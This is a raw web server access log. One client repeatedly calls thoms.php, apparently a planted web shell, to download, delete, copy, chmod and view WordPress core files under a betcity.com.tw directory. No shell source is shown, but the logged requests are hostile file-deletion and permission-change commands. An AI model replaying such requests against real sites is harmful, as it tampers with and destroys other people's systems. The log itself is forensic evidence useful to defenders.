45.135.193.11 - - [11/Sep/2026:23:36:23 -0400] "GET /thoms.php?dl=default-widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:23 -0400] "GET /thoms.php?dl=shortcodes.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:23 -0400] "GET /thoms.php?del=block-bindings&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:24 -0400] "GET /thoms.php?del=class-json.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:24 -0400] "GET /betcity.com.tw/wp-includes/query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:24 -0400] "GET /thoms.php?del=class-wpdb.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:24 -0400] "GET /thoms.php?del=meta.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=meta.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:24 -0400] "GET /thoms.php?dl=meta.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:24 -0400] "GET /thoms.php?chmod=view-config.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=view-config.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcompat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11863 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcompat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:25 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Futf8.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Futf8.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:25 -0400] "GET /thoms.php?dl=class-wp.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:25 -0400] "GET /betcity.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:25 -0400] "GET /betcity.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:25 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:25 -0400] "GET /thoms.php?del=cache-compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59434 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:26 -0400] "GET /thoms.php?chmod=feed-rss.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:26 -0400] "GET /thoms.php?chmod=http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:26 -0400] "GET /thoms.php?del=deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59314 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:26 -0400] "GET /thoms.php?chmod=assets&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=assets&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:26 -0400] "GET /thoms.php?del=ms-default-constants.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:26 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 200 16302 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:26 -0400] "GET /thoms.php?del=css&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=css&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:26 -0400] "GET /thoms.php?del=compat-utf8.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=compat-utf8.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?chmod=revision.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?chmod=style-engine.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:26 -0400] "GET /thoms.php?del=default-widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 200 14673 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?chmod=formatting.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 200 13531 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?chmod=template-loader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:28 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 200 16916 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:27 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:28 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:28 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fembed-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fembed-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:28 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 200 13046 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:28 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 200 12697 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:28 -0400] "GET /thoms.php?chmod=load.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:29 -0400] "GET /betcity.com.tw/wp-includes/theme-templates.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:29 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:28 -0400] "GET /thoms.php?del=class-wp-embed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:28 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:29 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fabilities-api HTTP/1.1" 200 13327 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fabilities-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:29 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 200 23911 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:29 -0400] "GET /betcity.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:29 -0400] "GET /thoms.php?del=blocks.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59305 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:29 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59429 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:29 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:29 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:30 -0400] "GET /betcity.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:30 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-requests.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-requests.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:30 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:30 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:30 -0400] "GET /betcity.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:30 -0400] "GET /thoms.php?chmod=sitemaps&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:30 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:31 -0400] "GET /thoms.php?chmod=block-bindings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:30 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:31 -0400] "GET /betcity.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:31 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 200 17523 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:31 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
